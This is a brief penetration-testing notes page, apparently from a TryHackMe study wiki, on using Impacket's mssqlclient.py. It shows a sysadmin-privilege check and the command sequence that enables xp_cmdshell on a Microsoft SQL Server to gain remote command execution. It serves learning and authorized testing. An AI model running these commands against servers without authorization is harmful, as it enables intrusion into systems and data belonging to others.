> For the complete documentation index, see [llms.txt](https://notes.nomanaziz.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.nomanaziz.me/cybersecurity/penetration-testing/tryhackme/main-methodology/4.-post-exploitation/tools/impackets-mssqlclient.py.md).

# Impacket's mssqlclient.py

We can use this tool to interact with mysql server using login credentials and then execute sql quieries.

***

### Check if Current SQL user has sysadmin Privileges

```
SELECT IS_SRVROLEMEMBER('sysadmin')
```

***

### Gain RCE

```
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
```

***